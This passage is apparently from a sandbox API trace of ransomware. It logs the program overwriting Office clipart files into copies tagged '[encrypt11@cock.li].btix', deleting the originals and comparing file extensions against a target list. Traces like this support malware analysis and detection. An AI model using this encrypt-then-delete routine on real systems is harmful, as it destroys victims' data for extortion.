[0158.278] SetEndOfFile (hFile=0x380) returned 1 [0158.297] CloseHandle (hObject=0x380) returned 1 [0158.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf")) returned 1 [0158.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0158.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0158.298] lstrlenW (lpString=".doc") returned 4 [0158.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.298] lstrlenW (lpString=".docx") returned 5 [0158.298] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0158.298] lstrlenW (lpString=".pdf") returned 4 [0158.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.298] lstrlenW (lpString=".xls") returned 4 [0158.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.298] lstrlenW (lpString=".xlsx") returned 5 [0158.298] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0158.298] lstrlenW (lpString=".ppt") returned 4 [0158.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0158.298] lstrlenW (lpString=".zip") returned 4 [0158.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.299] lstrlenW (lpString=".rar") returned 4 [0158.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.299] lstrlenW (lpString=".bz2") returned 4 [0158.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.299] lstrlenW (lpString=".7z") returned 3 [0158.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0158.299] lstrlenW (lpString=".dbf") returned 4 [0158.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0158.299] lstrlenW (lpString=".1cd") returned 4 [0158.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0158.299] lstrlenW (lpString=".jpg") returned 4 [0158.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.300] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.300] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200163.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.300] GetLastError () returned 0x0 [0158.300] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1c0c, lpOverlapped=0x0) returned 1 [0158.302] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0158.302] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.302] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.303] SetEndOfFile (hFile=0x36c) returned 1 [0158.303] CloseHandle (hObject=0x36c) returned 1 [0158.303] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.303] SetEndOfFile (hFile=0x380) returned 1 [0158.304] CloseHandle (hObject=0x380) returned 1 [0158.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200163.wmf")) returned 1 [0158.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0158.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0158.305] lstrlenW (lpString=".doc") returned 4 [0158.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.305] lstrlenW (lpString=".docx") returned 5 [0158.305] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.305] lstrlenW (lpString=".pdf") returned 4 [0158.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.305] lstrlenW (lpString=".xls") returned 4 [0158.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.305] lstrlenW (lpString=".xlsx") returned 5 [0158.305] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.305] lstrlenW (lpString=".ppt") returned 4 [0158.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0158.305] lstrlenW (lpString=".zip") returned 4 [0158.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.305] lstrlenW (lpString=".rar") returned 4 [0158.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.305] lstrlenW (lpString=".bz2") returned 4 [0158.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.305] lstrlenW (lpString=".7z") returned 3 [0158.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0158.305] lstrlenW (lpString=".dbf") returned 4 [0158.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0158.305] lstrlenW (lpString=".1cd") returned 4 [0158.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200163.WMF") returned 68 [0158.305] lstrlenW (lpString=".jpg") returned 4 [0158.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.306] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.306] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.306] GetLastError () returned 0x0 [0158.306] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x14c0, lpOverlapped=0x0) returned 1 [0158.308] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0158.309] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.309] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.309] SetEndOfFile (hFile=0x36c) returned 1 [0158.309] CloseHandle (hObject=0x36c) returned 1 [0158.309] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.309] SetEndOfFile (hFile=0x380) returned 1 [0158.310] CloseHandle (hObject=0x380) returned 1 [0158.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200183.wmf")) returned 1 [0158.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0158.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0158.312] lstrlenW (lpString=".doc") returned 4 [0158.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.312] lstrlenW (lpString=".docx") returned 5 [0158.312] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.312] lstrlenW (lpString=".pdf") returned 4 [0158.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.312] lstrlenW (lpString=".xls") returned 4 [0158.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.312] lstrlenW (lpString=".xlsx") returned 5 [0158.312] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.312] lstrlenW (lpString=".ppt") returned 4 [0158.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0158.312] lstrlenW (lpString=".zip") returned 4 [0158.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.312] lstrlenW (lpString=".rar") returned 4 [0158.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.313] lstrlenW (lpString=".bz2") returned 4 [0158.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.313] lstrlenW (lpString=".7z") returned 3 [0158.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0158.313] lstrlenW (lpString=".dbf") returned 4 [0158.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0158.313] lstrlenW (lpString=".1cd") returned 4 [0158.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200183.WMF") returned 68 [0158.313] lstrlenW (lpString=".jpg") returned 4 [0158.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.313] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.313] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.314] GetLastError () returned 0x0 [0158.315] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1f7c, lpOverlapped=0x0) returned 1 [0158.316] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1f80, lpOverlapped=0x0) returned 1 [0158.317] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.318] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.318] SetEndOfFile (hFile=0x36c) returned 1 [0158.318] CloseHandle (hObject=0x36c) returned 1 [0158.318] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.318] SetEndOfFile (hFile=0x380) returned 1 [0158.319] CloseHandle (hObject=0x380) returned 1 [0158.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf")) returned 1 [0158.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0158.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0158.320] lstrlenW (lpString=".doc") returned 4 [0158.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.321] lstrlenW (lpString=".docx") returned 5 [0158.321] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.321] lstrlenW (lpString=".pdf") returned 4 [0158.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.321] lstrlenW (lpString=".xls") returned 4 [0158.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.321] lstrlenW (lpString=".xlsx") returned 5 [0158.321] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.321] lstrlenW (lpString=".ppt") returned 4 [0158.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0158.321] lstrlenW (lpString=".zip") returned 4 [0158.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.321] lstrlenW (lpString=".rar") returned 4 [0158.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.321] lstrlenW (lpString=".bz2") returned 4 [0158.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.321] lstrlenW (lpString=".7z") returned 3 [0158.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0158.321] lstrlenW (lpString=".dbf") returned 4 [0158.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0158.321] lstrlenW (lpString=".1cd") returned 4 [0158.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0158.321] lstrlenW (lpString=".jpg") returned 4 [0158.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.322] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.322] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.323] GetLastError () returned 0x0 [0158.323] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x7a46, lpOverlapped=0x0) returned 1 [0158.325] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x7a50, lpOverlapped=0x0) returned 1 [0158.326] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.326] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.326] SetEndOfFile (hFile=0x36c) returned 1 [0158.327] CloseHandle (hObject=0x36c) returned 1 [0158.327] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.327] SetEndOfFile (hFile=0x380) returned 1 [0158.327] CloseHandle (hObject=0x380) returned 1 [0158.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf")) returned 1 [0158.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0158.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0158.328] lstrlenW (lpString=".doc") returned 4 [0158.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.328] lstrlenW (lpString=".docx") returned 5 [0158.328] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.328] lstrlenW (lpString=".pdf") returned 4 [0158.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.328] lstrlenW (lpString=".xls") returned 4 [0158.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.329] lstrlenW (lpString=".xlsx") returned 5 [0158.329] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.329] lstrlenW (lpString=".ppt") returned 4 [0158.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0158.329] lstrlenW (lpString=".zip") returned 4 [0158.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.329] lstrlenW (lpString=".rar") returned 4 [0158.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.329] lstrlenW (lpString=".bz2") returned 4 [0158.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.329] lstrlenW (lpString=".7z") returned 3 [0158.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0158.329] lstrlenW (lpString=".dbf") returned 4 [0158.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0158.329] lstrlenW (lpString=".1cd") returned 4 [0158.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0158.329] lstrlenW (lpString=".jpg") returned 4 [0158.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.330] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.330] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200279.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.330] GetLastError () returned 0x0 [0158.330] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4c0a, lpOverlapped=0x0) returned 1 [0158.590] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4c10, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4c10, lpOverlapped=0x0) returned 1 [0158.591] ReadFile (in: hFile=0x380, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.591] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.592] SetEndOfFile (hFile=0x36c) returned 1 [0158.592] CloseHandle (hObject=0x36c) returned 1 [0158.592] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.592] SetEndOfFile (hFile=0x380) returned 1 [0158.593] CloseHandle (hObject=0x380) returned 1 [0158.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200279.wmf")) returned 1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0158.593] lstrlenW (lpString=".doc") returned 4 [0158.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString=".docx") returned 5 [0158.593] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.593] lstrlenW (lpString=".pdf") returned 4 [0158.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString=".xls") returned 4 [0158.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.594] lstrlenW (lpString=".xlsx") returned 5 [0158.594] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.594] lstrlenW (lpString=".ppt") returned 4 [0158.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0158.594] lstrlenW (lpString=".zip") returned 4 [0158.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.594] lstrlenW (lpString=".rar") returned 4 [0158.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.594] lstrlenW (lpString=".bz2") returned 4 [0158.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.594] lstrlenW (lpString=".7z") returned 3 [0158.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200279.WMF") returned 68 [0158.594] lstrlenW (lpString=".dbf") returned 4 [0158.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned 